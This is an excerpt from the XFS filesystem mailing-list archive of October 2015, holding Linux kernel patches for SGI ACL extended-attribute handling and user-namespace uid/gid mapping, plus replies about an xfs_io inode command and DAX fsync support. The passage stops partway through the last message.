#include #include +#include /* * xfs_find_handle maps from userspace xfs_fsop_handlereq structure to @@ -453,15 +455,39 @@ xfs_attrmulti_attr_get( __uint32_t flags) { unsigned char *kbuf; - int error = -EFAULT; + int error; if (*len > XATTR_SIZE_MAX) return -EINVAL; + kbuf = kmem_zalloc_large(*len, KM_SLEEP); if (!kbuf) return -ENOMEM; +#ifdef CONFIG_XFS_POSIX_ACL + if (flags & ATTR_ROOT) { + if (strcmp(name, SGI_ACL_FILE) == 0) { + error = __xfs_xattr_acl_get(inode, ACL_TYPE_ACCESS, + kbuf, *len); + if (error > 0) { + *len = error; + error = 0; + } + goto done; + } else if (strcmp(name, SGI_ACL_DEFAULT) == 0) { + error = __xfs_xattr_acl_get(inode, ACL_TYPE_DEFAULT, + kbuf, *len); + if (error > 0) { + *len = error; + error = 0; + } + goto done; + } + } +#endif + error = xfs_attr_get(XFS_I(inode), name, kbuf, (int *)len, flags); +done: if (error) goto out_kfree; @@ -493,7 +519,22 @@ xfs_attrmulti_attr_set( if (IS_ERR(kbuf)) return PTR_ERR(kbuf); +#ifdef CONFIG_XFS_POSIX_ACL + if (flags & ATTR_ROOT) { + if (strcmp(name, SGI_ACL_FILE) == 0) { + error = __xfs_xattr_acl_set(inode, ACL_TYPE_ACCESS, + kbuf, len, flags); + goto out; + } else if (strcmp(name, SGI_ACL_DEFAULT) == 0) { + error = __xfs_xattr_acl_set(inode, ACL_TYPE_DEFAULT, + kbuf, len, flags); + goto out; + } + } +#endif + error = xfs_attr_set(XFS_I(inode), name, kbuf, len, flags); +out: kfree(kbuf); return error; } @@ -506,6 +547,19 @@ xfs_attrmulti_attr_remove( { if (IS_IMMUTABLE(inode) || IS_APPEND(inode)) return -EPERM; + +#ifdef CONFIG_XFS_POSIX_ACL + if (flags & ATTR_ROOT) { + if (strcmp(name, SGI_ACL_FILE) == 0) { + return __xfs_xattr_acl_set(inode, ACL_TYPE_ACCESS, + NULL, 0, flags); + } else if (strcmp(name, SGI_ACL_DEFAULT) == 0) { + return __xfs_xattr_acl_set(inode, ACL_TYPE_DEFAULT, + NULL, 0, flags); + } + } +#endif + return xfs_attr_remove(XFS_I(inode), name, flags); } diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..d8ee7a1 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -95,14 +95,32 @@ static const struct xattr_handler xfs_xattr_security_handler = { .set = xfs_xattr_set, }; +#ifdef CONFIG_XFS_POSIX_ACL +const struct xattr_handler xfs_xattr_sgi_acl_file = { + .prefix = XATTR_TRUSTED_PREFIX SGI_ACL_FILE, + .flags = ACL_TYPE_ACCESS, + .get = xfs_xattr_acl_get, + .set = xfs_xattr_acl_set, +}; + +const struct xattr_handler xfs_xattr_sgi_acl_default = { + .prefix = XATTR_TRUSTED_PREFIX SGI_ACL_DEFAULT, + .flags = ACL_TYPE_DEFAULT, + .get = xfs_xattr_acl_get, + .set = xfs_xattr_acl_set, +}; +#endif + const struct xattr_handler *xfs_xattr_handlers[] = { &xfs_xattr_user_handler, - &xfs_xattr_trusted_handler, &xfs_xattr_security_handler, #ifdef CONFIG_XFS_POSIX_ACL &posix_acl_access_xattr_handler, &posix_acl_default_xattr_handler, + &xfs_xattr_sgi_acl_file, + &xfs_xattr_sgi_acl_default, #endif + &xfs_xattr_trusted_handler, NULL }; -- 2.5.0 From agruenba@redhat.com Fri Oct 30 10:05:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9717B7F52 for ; Fri, 30 Oct 2015 10:05:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 176E3AC003 for ; Fri, 30 Oct 2015 08:05:28 -0700 (PDT) X-ASG-Debug-ID: 1446217526-04cbb0660d146340001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Y7hS4YvbZeJfxigk (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:05:27 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 5B45519CB9D; Fri, 30 Oct 2015 15:05:26 +0000 (UTC) Received: from nux.redhat.com (vpn1-6-63.ams2.redhat.com [10.36.6.63]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UF599w001489; Fri, 30 Oct 2015 11:05:24 -0400 From: Andreas Gruenbacher To: Dave Chinner , Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH v2 5/5] xfs: SGI ACLs: Map uid/gid namespaces Date: Fri, 30 Oct 2015 16:05:08 +0100 X-ASG-Orig-Subj: [PATCH v2 5/5] xfs: SGI ACLs: Map uid/gid namespaces Message-Id: <1446217508-22157-6-git-send-email-agruenba@redhat.com> In-Reply-To: <1446217508-22157-1-git-send-email-agruenba@redhat.com> References: <1446217508-22157-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446217526 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Map uids and gids in the trusted.SGI_ACL_{FILE,DEFAULT} attributes between the kernel and user-space namespaces. This needs to be done in the filesystem because the VFS is unaware of those attributes; for the standard POSIX ACL attributes, the VFS takes care of that for us. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 29 +++++++++++++++++++---------- 1 file changed, 19 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 40fce17..7076d07 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -39,7 +39,8 @@ STATIC struct posix_acl * xfs_acl_from_disk( const struct xfs_acl *aclp, int len, - int max_entries) + int max_entries, + struct user_namespace *ns) { struct posix_acl_entry *acl_e; struct posix_acl *acl; @@ -71,10 +72,10 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: - acl_e->e_uid = xfs_uid_to_kuid(&init_user_ns, be32_to_cpu(ace->ae_id)); + acl_e->e_uid = xfs_uid_to_kuid(ns, be32_to_cpu(ace->ae_id)); break; case ACL_GROUP: - acl_e->e_gid = xfs_gid_to_kgid(&init_user_ns, be32_to_cpu(ace->ae_id)); + acl_e->e_gid = xfs_gid_to_kgid(ns, be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: @@ -93,7 +94,10 @@ fail: } STATIC void -xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) +xfs_acl_to_disk( + struct xfs_acl *aclp, + const struct posix_acl *acl, + struct user_namespace *ns) { const struct posix_acl_entry *acl_e; struct xfs_acl_entry *ace; @@ -107,10 +111,10 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) ace->ae_tag = cpu_to_be32(acl_e->e_tag); switch (acl_e->e_tag) { case ACL_USER: - ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(&init_user_ns, acl_e->e_uid)); + ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(ns, acl_e->e_uid)); break; case ACL_GROUP: - ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(&init_user_ns, acl_e->e_gid)); + ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(ns, acl_e->e_gid)); break; default: ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); @@ -166,7 +170,8 @@ xfs_get_acl(struct inode *inode, int type) goto out; } - acl = xfs_acl_from_disk(xfs_acl, len, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + acl = xfs_acl_from_disk(xfs_acl, len, XFS_ACL_MAX_ENTRIES(ip->i_mount), + &init_user_ns); if (IS_ERR(acl)) goto out; @@ -205,7 +210,7 @@ ___xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl, int xflags) if (!xfs_acl) return -ENOMEM; - xfs_acl_to_disk(xfs_acl, acl); + xfs_acl_to_disk(xfs_acl, acl, &init_user_ns); /* subtract away the unused acl entries */ len -= sizeof(struct xfs_acl_entry) * @@ -332,10 +337,11 @@ __xfs_xattr_acl_get(struct inode *inode, int type, void *value, size_t size) error = XFS_ACL_SIZE(acl->a_count); if (value) { + struct user_namespace *user_ns = current_user_ns(); if (error > size) error = -ERANGE; else - xfs_acl_to_disk(value, acl); + xfs_acl_to_disk(value, acl, user_ns); } posix_acl_release(acl); @@ -365,7 +371,10 @@ __xfs_xattr_acl_set(struct inode *inode, int type, const void *value, return -EOPNOTSUPP; if (value) { - acl = xfs_acl_from_disk(value, size, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + struct user_namespace *user_ns = current_user_ns(); + acl = xfs_acl_from_disk(value, size, + XFS_ACL_MAX_ENTRIES(ip->i_mount), + user_ns); if (IS_ERR(acl)) return PTR_ERR(acl); -- 2.5.0 From agruenba@redhat.com Fri Oct 30 10:05:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 539577F52 for ; Fri, 30 Oct 2015 10:05:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5EF3AC004 for ; Fri, 30 Oct 2015 08:05:25 -0700 (PDT) X-ASG-Debug-ID: 1446217523-04cb6c7b85134f40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id t7N4Idf1L6WlfXO8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:05:24 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id B4BC5D9F; Fri, 30 Oct 2015 15:05:23 +0000 (UTC) Received: from nux.redhat.com (vpn1-6-63.ams2.redhat.com [10.36.6.63]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UF599v001489; Fri, 30 Oct 2015 11:05:21 -0400 From: Andreas Gruenbacher To: Dave Chinner , Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH v2 4/5] xfs: Add namespace parameter to the xfs kuid/kgid <=> uid/gid wrappers Date: Fri, 30 Oct 2015 16:05:07 +0100 X-ASG-Orig-Subj: [PATCH v2 4/5] xfs: Add namespace parameter to the xfs kuid/kgid <=> uid/gid wrappers Message-Id: <1446217508-22157-5-git-send-email-agruenba@redhat.com> In-Reply-To: <1446217508-22157-1-git-send-email-agruenba@redhat.com> References: <1446217508-22157-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446217524 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 8 ++++---- fs/xfs/xfs_inode.c | 14 +++++++------- fs/xfs/xfs_iops.c | 12 ++++++------ fs/xfs/xfs_linux.h | 21 ++++++++++----------- fs/xfs/xfs_symlink.c | 4 ++-- 5 files changed, 29 insertions(+), 30 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index c094165..40fce17 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -71,10 +71,10 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: - acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); + acl_e->e_uid = xfs_uid_to_kuid(&init_user_ns, be32_to_cpu(ace->ae_id)); break; case ACL_GROUP: - acl_e->e_gid = xfs_gid_to_kgid(be32_to_cpu(ace->ae_id)); + acl_e->e_gid = xfs_gid_to_kgid(&init_user_ns, be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: @@ -107,10 +107,10 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) ace->ae_tag = cpu_to_be32(acl_e->e_tag); switch (acl_e->e_tag) { case ACL_USER: - ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(acl_e->e_uid)); + ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(&init_user_ns, acl_e->e_uid)); break; case ACL_GROUP: - ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(acl_e->e_gid)); + ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(&init_user_ns, acl_e->e_gid)); break; default: ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dc40a6d..d849b15 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -795,8 +795,8 @@ xfs_ialloc( ip->i_d.di_onlink = 0; ip->i_d.di_nlink = nlink; ASSERT(ip->i_d.di_nlink == nlink); - ip->i_d.di_uid = xfs_kuid_to_uid(current_fsuid()); - ip->i_d.di_gid = xfs_kgid_to_gid(current_fsgid()); + ip->i_d.di_uid = xfs_kuid_to_uid(&init_user_ns, current_fsuid()); + ip->i_d.di_gid = xfs_kgid_to_gid(&init_user_ns, current_fsgid()); xfs_set_projid(ip, prid); memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); @@ -814,7 +814,7 @@ xfs_ialloc( */ if ((irix_sgid_inherit) && (ip->i_d.di_mode & S_ISGID) && - (!in_group_p(xfs_gid_to_kgid(ip->i_d.di_gid)))) { + (!in_group_p(xfs_gid_to_kgid(&init_user_ns, ip->i_d.di_gid)))) { ip->i_d.di_mode &= ~S_ISGID; } @@ -1161,8 +1161,8 @@ xfs_create( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(current_fsuid()), - xfs_kgid_to_gid(current_fsgid()), prid, + error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(&init_user_ns, current_fsuid()), + xfs_kgid_to_gid(&init_user_ns, current_fsgid()), prid, XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); if (error) @@ -1340,8 +1340,8 @@ xfs_create_tmpfile( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(current_fsuid()), - xfs_kgid_to_gid(current_fsgid()), prid, + error = xfs_qm_vop_dqalloc(dp, xfs_kuid_to_uid(&init_user_ns, current_fsuid()), + xfs_kgid_to_gid(&init_user_ns, current_fsgid()), prid, XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); if (error) diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..f25d2c7 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -598,8 +598,8 @@ xfs_setattr_nonsize( */ ASSERT(udqp == NULL); ASSERT(gdqp == NULL); - error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(uid), - xfs_kgid_to_gid(gid), + error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(&init_user_ns, uid), + xfs_kgid_to_gid(&init_user_ns, gid), xfs_get_projid(ip), qflags, &udqp, &gdqp, NULL); if (error) @@ -671,7 +671,7 @@ xfs_setattr_nonsize( olddquot1 = xfs_qm_vop_chown(tp, ip, &ip->i_udquot, udqp); } - ip->i_d.di_uid = xfs_kuid_to_uid(uid); + ip->i_d.di_uid = xfs_kuid_to_uid(&init_user_ns, uid); inode->i_uid = uid; } if (!gid_eq(igid, gid)) { @@ -683,7 +683,7 @@ xfs_setattr_nonsize( olddquot2 = xfs_qm_vop_chown(tp, ip, &ip->i_gdquot, gdqp); } - ip->i_d.di_gid = xfs_kgid_to_gid(gid); + ip->i_d.di_gid = xfs_kgid_to_gid(&init_user_ns, gid); inode->i_gid = gid; } } @@ -1230,8 +1230,8 @@ xfs_setup_inode( inode->i_mode = ip->i_d.di_mode; set_nlink(inode, ip->i_d.di_nlink); - inode->i_uid = xfs_uid_to_kuid(ip->i_d.di_uid); - inode->i_gid = xfs_gid_to_kgid(ip->i_d.di_gid); + inode->i_uid = xfs_uid_to_kuid(&init_user_ns, ip->i_d.di_uid); + inode->i_gid = xfs_gid_to_kgid(&init_user_ns, ip->i_d.di_gid); switch (inode->i_mode & S_IFMT) { case S_IFBLK: diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 85f883d..1bf92ec 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -173,28 +173,27 @@ struct xfs_kobj { /* Kernel uid/gid conversion. These are used to convert to/from the on disk * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. - * The conversion here is type only, the value will remain the same since we - * are converting to the init_user_ns. The uid is later mapped to a particular - * user namespace value when crossing the kernel/user boundary. + * The uid is later mapped to a particular user namespace value when crossing + * the kernel/user boundary. */ -static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) +static inline __uint32_t xfs_kuid_to_uid(struct user_namespace *ns, kuid_t uid) { - return from_kuid(&init_user_ns, uid); + return from_kuid(ns, uid); } -static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) +static inline kuid_t xfs_uid_to_kuid(struct user_namespace *ns, __uint32_t uid) { - return make_kuid(&init_user_ns, uid); + return make_kuid(ns, uid); } -static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) +static inline __uint32_t xfs_kgid_to_gid(struct user_namespace *ns, kgid_t gid) { - return from_kgid(&init_user_ns, gid); + return from_kgid(ns, gid); } -static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) +static inline kgid_t xfs_gid_to_kgid(struct user_namespace *ns, __uint32_t gid) { - return make_kgid(&init_user_ns, gid); + return make_kgid(ns, gid); } /* diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 996481e..a0c42a9 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -215,8 +215,8 @@ xfs_symlink( * Make sure that we have allocated dquot(s) on disk. */ error = xfs_qm_vop_dqalloc(dp, - xfs_kuid_to_uid(current_fsuid()), - xfs_kgid_to_gid(current_fsgid()), prid, + xfs_kuid_to_uid(&init_user_ns, current_fsuid()), + xfs_kgid_to_gid(&init_user_ns, current_fsgid()), prid, XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); if (error) -- 2.5.0 From cmaiolino@redhat.com Fri Oct 30 10:17:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E213B7F53 for ; Fri, 30 Oct 2015 10:17:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D055C8F8033 for ; Fri, 30 Oct 2015 08:17:22 -0700 (PDT) X-ASG-Debug-ID: 1446218241-04cbb0660d146fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EaVzIPOWoSdgdRXq (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:17:22 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 83D63C0A5248; Fri, 30 Oct 2015 15:17:21 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UFHIXW002941 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Fri, 30 Oct 2015 11:17:20 -0400 Date: Fri, 30 Oct 2015 16:17:17 +0100 From: Carlos Maiolino To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: implement 'inode' command V3 Message-ID: <20151030151717.GA5263@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: implement 'inode' command V3 Mail-Followup-To: Dave Chinner , Brian Foster , xfs@oss.sgi.com References: <1445257880-30797-1-git-send-email-cmaiolino@redhat.com> <20151022144255.GB13661@bfoster.bfoster> <20151023092946.GA752@redhat.com> <20151028005924.GP19199@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151028005924.GP19199@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446218241 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Oct 28, 2015 at 11:59:24AM +1100, Dave Chinner wrote: > On Fri, Oct 23, 2015 at 11:29:46AM +0200, Carlos Maiolino wrote: > > Thanks for the review Brian, I'll walk over it and fix the points you mentioned. > > > > > > > > > I still don't really get why we have separate -l and -s options here. It > > > seems to me that the behavior of -l already gives us the information > > > that -s does. Even if that's not obvious enough, the -l command could > > > just print out both. For example: > > > > > > "Largest inode: 1234 (32-bit)" > > > > I agree with you here, but, I'll let Dave answer this question, maybe he had > > some another idea for it that I'm not aware of. > > No preference here; all that I was suggesting was that if you want > to know whether inodes are 32/64 bit it doesn't matter what the > largest inode number is. > > i.e. "Can I mount this with inode32 and have no problems (yes/no)?" > > And it's a lot easier to just query for *any* 64 bit inode than it > is to find the largest inode number... > > If you want to combine the two, then that's fine by me. > Honestly, I think having separated commands are easier for that, it doesn't require users of that the need of parsing the output for example, so, honestly I believe it's better to have it in different commands, I'm also wondering if wouldn't be better to return "1" when there are 64bits in the FS and "0" if not, other than 32/64, so it can be used as a true or false return. > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From dan.j.williams@intel.com Fri Oct 30 13:34:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E29D87F4E for ; Fri, 30 Oct 2015 13:34:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5870DAC002 for ; Fri, 30 Oct 2015 11:34:10 -0700 (PDT) X-ASG-Debug-ID: 1446230047-04cb6c7b8613ca40001-NocioJ Received: from mail-wi0-f179.google.com (mail-wi0-f179.google.com [209.85.212.179]) by cuda.sgi.com with ESMTP id bwF82aAV6GWh0UUQ (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 30 Oct 2015 11:34:08 -0700 (PDT) X-Barracuda-Envelope-From: dan.j.williams@intel.com X-Barracuda-Apparent-Source-IP: 209.85.212.179 Received: by wijp11 with SMTP id p11so16826932wij.0 for ; Fri, 30 Oct 2015 11:34:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=intel_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=OVoZE+URWew9S/emL8pbP5xE4I/hWqRqrCVcp38aMCs=; b=XOuFOCC7BEm6VrRVrqpwqeB8j7Rw0mZ9/1LM2Q3jj3n8BNP8n28Nn7rVysVE9/dhoa kJuBKTAXQKmtrT/JAgo5snIgEXglOlZuv4wQYVHKgk0ScaCbxTZNnBFmQNJMYxlijvpo tjsgGULZSWbPqkDudwieAQ144Nnw1xHVbsCyBBljAu1WQtFgXzKFyUGRcFqw5hDBu6R/ YxhWKblbi3sk9PIGFaVWleV674nnplCjrV2hXZxi+cojTBMn17xpOKUzz8NKFxbwsnxS 0rdq2FWk6iQpMeoBBDjLKovN7SiSQXgyzS8twV+u9lTOdXfZZGJqrNJ+/rl7NaK2J48I Le/Q== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=OVoZE+URWew9S/emL8pbP5xE4I/hWqRqrCVcp38aMCs=; b=UUpmhW4SyUU9ryIGUTWIlyiviy8ut6/h9ueaEiuzzAVdoMuSSTWZNCKSWrOppGXC0b evNHz5+s4DkhnabZomYzLsAXQGtAIv8TbNa5uDMX1hrWzEzj/PwaWliwcyK9Yqo4B5dn bvOjBjePhcrP1/LRD2yKhOMyubAjPeSHReAuKZJmIark50Tkh1eVHT0fGvlNtnBrNf6+ Yo4PClNBNJVzX+HxRRx5P2+nalD8rQZjpc/nPMKEAsvBW1d5R0Caxg7+Z2tcCJ3FatBA zlYcLDm+ubhzHYVPyGEPCIRFvVELiqnDsW6GpAVhiSZEY8QoysNJ00UtMk1YzCY4/gR3 C8iw== X-Gm-Message-State: ALoCoQnF7H6OXc65PHUg52zuYSZchQkoegTL43JWuJ6KNFgDIbPWMEneKLXFkMaV/M48FnWkIqyU MIME-Version: 1.0 X-Received: by 10.194.84.4 with SMTP id u4mr10173253wjy.149.1446230047349; Fri, 30 Oct 2015 11:34:07 -0700 (PDT) Received: by 10.27.88.132 with HTTP; Fri, 30 Oct 2015 11:34:07 -0700 (PDT) In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> Date: Fri, 30 Oct 2015 11:34:07 -0700 Message-ID: Subject: Re: [RFC 00/11] DAX fsynx/msync support From: Dan Williams X-ASG-Orig-Subj: Re: [RFC 00/11] DAX fsynx/msync support To: Ross Zwisler Cc: "linux-kernel@vger.kernel.org" , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel , Linux MM , "linux-nvdimm@lists.01.org" , X86 ML , xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f179.google.com[209.85.212.179] X-Barracuda-Start-Time: 1446230048 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 29, 2015 at 1:12 PM, Ross Zwisler wrote: > This patch series adds support for fsync/msync to DAX. > > Patches 1 through 8 add various utilities that the DAX code will eventually > need, and the DAX code itself is added by patch 9. Patches 10 and 11 are > filesystem changes that are needed after the DAX code is added, but these > patches may change slightly as the filesystem fault handling for DAX is > being modified ([1] and [2]). > > I've marked this series as RFC because I'm still testing, but I wanted to > get this out there so people would see the direction I was going and > hopefully comment on any big red flags sooner rather than later. > > I realize that we are getting pretty dang close to 